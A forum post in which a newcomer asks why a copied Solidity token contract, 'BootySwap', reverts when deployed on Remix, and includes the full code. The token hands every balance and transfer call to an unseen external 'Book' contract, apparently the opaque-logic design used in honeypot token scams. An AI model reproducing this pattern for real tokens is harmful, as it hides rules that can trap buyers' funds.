This is not my contract, Im just wondering why I can't launch it on Remix. I just got into smart contracts and I figured I'd take the first code I see and try to launch it on the testnet to even see if it works and I could not even get that far. I was then going to pick it apart and start learning code. How can you copy and paste something that doesnt work.
I get this error.
Gas estimation errored with the following message (see below). The transaction execution will likely fail. Do you want to force sending?
Internal JSON-RPC error. { "code": -32000, "message": "execution reverted" }
I tried to change my RPC but that didn't even work. Any help to just help me launch any type of contract?
Code to reproduce
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
contract Book {
function book_Transfer(address from, address to, uint256 amount) public;
function book_balanceOf(address who) public view returns (uint256);
function book_setup(address token, uint256 supply) public returns (bool);
}
contract BootySwap {
uint256 totalSupply_;
address private Book_address;
address private deployer;
string public constant name = "BootySwap";
string public constant symbol = "BS";
uint8 public constant decimals = 18;
mapping(address => mapping (address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(address _book) public {
totalSupply_ = 1000000*10**18;
Book_address = _book;
deployer = msg.sender;
Book(Book_address).book_setup(address(this), totalSupply_);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function approve(address delegate, uint256 numTokens) public returns (bool) {
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}
function allowance(address owner, address delegate) public view returns (uint256) {
return allowed[owner][delegate];
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
require(allowed[from][msg.sender]>=amount, "Not allowed");
Book(Book_address).book_Transfer(from, to, amount);
emit Transfer(from, to, amount);
return true;
}
function transfer(address to, uint256 amount) public returns (bool) {
Book(Book_address).book_Transfer(msg.sender, to, amount);
emit Transfer(msg.sender, to, amount);
return true;
}
function balanceOf(address tokenOwner) public view returns (uint256) {
return Book(Book_address).book_balanceOf(tokenOwner);
}
}
Environment
Remix